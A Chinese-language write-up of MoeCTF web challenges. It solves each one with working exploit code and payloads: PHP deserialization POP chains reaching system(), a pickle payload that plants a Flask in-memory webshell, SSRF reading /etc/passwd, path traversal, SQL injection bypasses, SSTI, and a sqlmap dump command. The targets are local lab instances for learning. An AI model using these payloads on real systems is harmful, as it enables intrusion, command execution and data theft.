MoeCTF-WEB部分题解

分享一些Moectf web方面的wp。(以后应该不会更新新生赛的文章了

MoeCTF-WEB

week-one

Web渗透测试与审计入门指北

1
php -S localhost:8000

直接起个web服务,把两个文件放一个目录就行。

image-20240810143350248

弗拉格之地的入口

题目提到了爬虫,直接上robots.txt了。的确是这样的。

robots.txt->webtutorEntry.php

image-20240810143512444

ez_http

背八股文了。

image-20240810143931263

ProveYourLove

打开题目是个表白墙。并且题目描述中有提到都七夕了,怎么还是单身狗丫?快拿起勇气向你 **crush** 表白叭,300份才能证明你的爱!

但是交第二份时出现

image-20240810144158270

看了一下,是js禁止的,那不管了。直接BP抓包,爆破发300个包就好了

image-20240810145059264

弗拉格之地的挑战

1
/flag1ab.html->flag2hh.php->flag3cad.php->flag4bbc.php->/flag5sxr.php->flag6diw.php->flag7fxxkfinal.php

响应报文中找到第三步。

image-20240810145709616

又是八股

image-20240810145907378

但是这样进去会出错

image-20240810150858290

改Referer:http://localhost:8080/flag3cad.php?a=1

是一个小游戏。

image-20240810213747753

直接看源代码里的js。自己发个请求

image-20240810213731652

直接post一下

image-20240810214051818

一段php

1
2
3
4
5
6
7
8
9
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}

大小写绕过

image-20240810214312518

直接给了个马,连就完了。

image-20240810214432245

集齐七龙珠,召唤龙神(bushi

image-20240810214535742

pop moe

php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

很简单的POP链

invoke->set->dangerous->evvval。让class002的$sec为class003类,调用eval,并且由于class003里的__tostring,这样eval接受的参数就是mystr的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class class000 {
public $payl0ad = 0;
public $what;
}

class class001 {
public $payl0ad;
public $a;
}

class class002 {
public $sec;
}

class class003 {
public $mystr;
}
$a=new class000();
$a->payl0ad=1;
$a->what=new class001();
$a->what->payl0ad="dangerous";
$a->what->a=new class002();
$a->what->a->sec=new class003();
$a->what->a->sec->mystr="system('env');";

echo urlencode(serialize($a));

环境变量里面找到flag

image-20240810184925775

week-two

垫刀之路01: MoeCTF?启动!

直接rce,在env里发现flag

垫刀之路02: 普通的文件上传

文件上传,无过滤,也是env里找到flag

垫刀之路03: 这是一个图床

传马的话似乎有过滤,但是在phpinfo里发现flag

image-20240819090507716

image-20240819090518237

垫刀之路04: 一个文件浏览器

给了一个src参数来读取文件,目录穿越一下成功读取。

image-20240820195935894

但是直接读flag没读到。

image-20240820193149216

在tmp目录找到flag

image-20240820200022810

垫刀之路05: 登陆网站

直接一个单引号闭合,没什么好讲的。

image-20240821164423067

垫刀之路06: pop base mini moe

更简单,更适合新手的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);

pop链很短,没什么好讲的。要注意的是属性全是私有的,利用__construct()方法赋值。

EXP1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class A {
private $evil;
private $a;

function __construct($a) {
$this->evil = 'cat /f*';
$this->a = $a;
}

}

class B {
private $b;

function __construct($b) {
$this->b = $b;
}
}

$a=new A(new B('system'));
echo urlencode(serialize($a));

image-20240822160950455

或者把属性改成public,大部分情况都可以。

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class A {
public $evil;
public $a;
}

class B {
public $b;
}
$a=new A();
$a->a=new B();
$a->evil='whoami';
$a->a->b='system';
echo serialize($a);

image-20240822161313296

垫刀之路07: 泄漏的密码

pin码给了,上控制台执行代码就好了。

/console

image-20240822163550950

ImageCloud前置

ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

直接传file:///etc/passwd就好了

image-20240818173121464

ImageCloud

两个题目都给了源码

题目给了两个app.py,看描述像是一个内部的,一个外部的。app.py的url参数可控,那么思路很明确了,利用app.py的url参数来使用app2.py中的这个路由读取文件。

1
2
3
4
5
6
7
8
@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

但是app2.py的端口不确定,BP爆破一下拿到app2.py启动的端口5374。

image-20240818190232534

payload

1
http://127.0.0.1:42645/image?url=http://localhost:5374/image/flag.jpg

image-20240818185927705

flag:moectf{c3TtEBrAte-Y0u_@TTACK-to-MY_Tm4g3-CToudHHhhhh80}

静态网页

一个静态网页,扫目录发现flag.php,但是访问没内容。抓包看看发现这个接口有响应

image-20240822202910322

php性质

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}

a不能是数字,又要==0,利用性质,0后面接字母,is_numeric会返回false,false==0

image-20240822210609259

电院_Backend

直接给了登录的处理逻辑。

扫目录发现登录的url

image-20240817140236982

sql注入,有个验证码防止爆破密码(我猜

image-20240822163937199

用一个\转义引号,这样sql语句就变成了

1
SELECT * FROM admin WHERE email='admin@admin.com\' and pwd='||1#'  AND pwd='$pwd'

sql语句中||1是一个永真条件,成功登录。

image-20240822164921864

勇闯铜人阵

考验python能力。

image-20240817151845151

拷打一下GPT,再自己微调就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
from bs4 import BeautifulSoup

# 初始化会话和URL
session = requests.Session()
base_url = "http://127.0.0.1:17738/"
cookies = {"PHPSESSID": "104827020f4aa5b5514cae8a5ec87d9c"}


# 启动游戏
def start_game():
data = {"player": "d", "direct": "弟子明白"}
response = session.post(base_url, cookies=cookies, data=data)
return response


# 解析方向数据
def parse_directions(html_content):
soup = BeautifulSoup(html_content, 'html.parser')
status_text = soup.find('h1', id='status').text.strip()

# 检查是否包含逗号,如果没有则只有一个数字
if ',' in status_text:
directions = [int(num.strip()) for num in status_text.split(',')]
else:
directions = [int(status_text)]
print(directions)
return directions


# 自动回答
def answer_game(directions):
direction_map = {
1: '北方',
2: '东北方',
3: '东方',
4: '东南方',
5: '南方',
6: '西南方',
7: '西方',
8: '西北方'
}

# 生成回答文本
answers = [direction_map.get(num, '') for num in directions]
if len(answers) == 1:
answer_text = answers[0]
else:
answer_text = ','.join(f"{ans}一个" for ans in answers)

print(answer_text)
data = {"player": "d", "direct": answer_text}
response = session.post(base_url, cookies=cookies, data=data)
print(response.text)
return response


# 主程序
if __name__ == '__main__':
# 启动游戏并获取游戏页面
start_response = start_game()
directions = parse_directions(start_response.text)
for i in range(5):
# 解析游戏页面中的方向数
answer_response = answer_game(directions)
directions =parse_directions(answer_response.text)

Re: 从零开始的 XDU 教书生活

先手动完成一个签到,看看数据包是怎么传输的。

手动跟一边后逻辑大概明白了

登录拿到cookie,签到的实质是就是带着cookie时向接口发送请求

/widget/sign/e?id=4000000000000&c=3302524747117&enc=E63DE6382FCC5C0094F921E973B3682A&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id

c和enc分别是利用刷新接口得到的signCode和enc

image-20240822172730026

再看登录的情况,登录的账号密码很容易拿到,就不讲了。但是前端会对账号密码进行加密,看看前端内容。

在这个/static/login.js文件里面找到加密逻辑

image-20240822173616283

让gpt写个加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def encrypt_by_aes(message, key):
# Ensure the key is 16, 24, or 32 bytes long
key = key.encode('utf-8')
iv = key[:16] # Using the key as the IV

cipher = AES.new(key, AES.MODE_CBC, iv)
padded_message = pad(message.encode('utf-8'), AES.block_size)
encrypted_bytes = cipher.encrypt(padded_message)
encrypted_base64 = base64.b64encode(encrypted_bytes).decode('utf-8')

return encrypted_base64

# 示例
key = "u2oh6Vu^HWe4_AES" # 16, 24, or 32 bytes
message = "1244852"
encrypted_message = encrypt_by_aes(message, key)

print(encrypted_message)

image-20240822174104952

所以总的就是利用request库里的session来存储cookie,再签到。

uname.txt里面是账号,用换行分隔。

image-20240822201034528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import requests

def encrypt_by_aes(message, key):
# Ensure the key is 16, 24, or 32 bytes long
key = key.encode('utf-8')
iv = key[:16] # Using the key as the IV

cipher = AES.new(key, AES.MODE_CBC, iv)
padded_message = pad(message.encode('utf-8'), AES.block_size)
encrypted_bytes = cipher.encrypt(padded_message)
encrypted_base64 = base64.b64encode(encrypted_bytes).decode('utf-8')

return encrypted_base64


login_url = "http://127.0.0.1:51996/fanyalogin"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://127.0.0.1:52511", "Connection": "close", "Referer": "http://127.0.0.1:52511/login", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
check_url = "http://127.0.0.1:51996/widget/sign/e?id=4000000000000&c=3130242987746&enc=70ED0249489D4699078AED6EF38BF5DC&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"

while True:
with open('uname.txt', "r") as f:
for line in f:
s = line.strip()
key = "u2oh6Vu^HWe4_AES"
message = s
encrypted_message = encrypt_by_aes(message, key)
print(message)
print(encrypted_message)

r=requests.session()
burp0_data={"fid": "-1", "uname": encrypted_message, "password": encrypted_message, "refer": "https%3A%2F%2Fi.chaoxing.com", "t": "true", "forbidotherlogin": "0", "validate": '', "doubleFactorLogin": "0", "independentId": "0", "independentNameId": "0"}

login=r.post(login_url, headers=burp0_headers, data=burp0_data)
print(login.text)

check=r.get(check_url, headers=burp0_headers)
print(check.text)

image-20240822201443593

等待一会,看到签到成功次数超过1024就可以了

image-20240822201712168

image-20240822201647073

week-three

who’s blog?

image-20240825000505564

这里说到了id,那传一个参数看看。发现id变了,那估计是ssti了。

image-20240825000929986

的确是的。

image-20240825001008374

没有过滤,直接梭了。

image-20240825001149250

PetStore

Pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:
def __init__(self) -> None:
self.pets = []

def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet | None:
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None

def export_pet(self, pet_uuid) -> str | None:
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

store = PetStore()

@app.route("/", methods=["GET"])
def index():
pets = store.pets
return render_template("index.html", pets=pets)

@app.route("/create", methods=["POST"])
def create_pet():
name = request.form["name"]
species = request.form["species"]
store.create_pet(name, species)
return redirect("/")

@app.route("/get", methods=["POST"])
def get_pet():
pet_uuid = request.form["uuid"]
pet = store.get_pet(pet_uuid)
if pet is not None:
return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
else:
return jsonify({"error": "Pet not found"})

@app.route("/export", methods=["POST"])
def export_pet():
pet_uuid = request.form["uuid"]
serialized_pet = store.export_pet(pet_uuid)
if serialized_pet is not None:
return jsonify({"serialized_pet": serialized_pet})
else:
return jsonify({"error": "Pet not found"})

@app.route("/import", methods=["POST"])
def import_pet():
serialized_pet = request.form["serialized_pet"]
if store.import_pet(serialized_pet):
return redirect("/")
else:
return jsonify({"error": "Failed to import pet"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

题目给了docker,python版本是3.12.

这里store.import_pet方法里面

1
2
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)

会触发pickle反序列化漏洞,注意到在import路由这里调用了该方法。题目不出网,那就是打内存马了。python版本是3.12,应该用新版本的内存马。

用了gxngxngxn师傅写的内存马

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64

class Exp(object):
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))


a = Exp()
poc = base64.b64encode(pickle.dumps(a))
print(poc)

image-20240826200853810

smbms

java呜呜。

爆破拿到密码1234567。(后面忘了有这个比赛。。。这题就没看了

后面随便搜了个wp看了下,是个sql注入。。。难崩。。。以为这个hint是让我不要尝试sql注入呢。审了这么久的源码

img

应该是这里有问题src\main\java\top\sxrhhh\dao\user\UserDaoImpl.java

image-20241015073212882

http请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /jsp/user.do?method=query&queryName=12&queryUserRole=0&pageIndex=1 HTTP/1.1
Host: 127.0.0.1:29511
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=5F68B43A743D0D50FBF331191D931C79
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

时间盲注,可能有点慢。

python sqlmap.py -r D:\1.txt -D smbms2 -T flag –batch –dump

img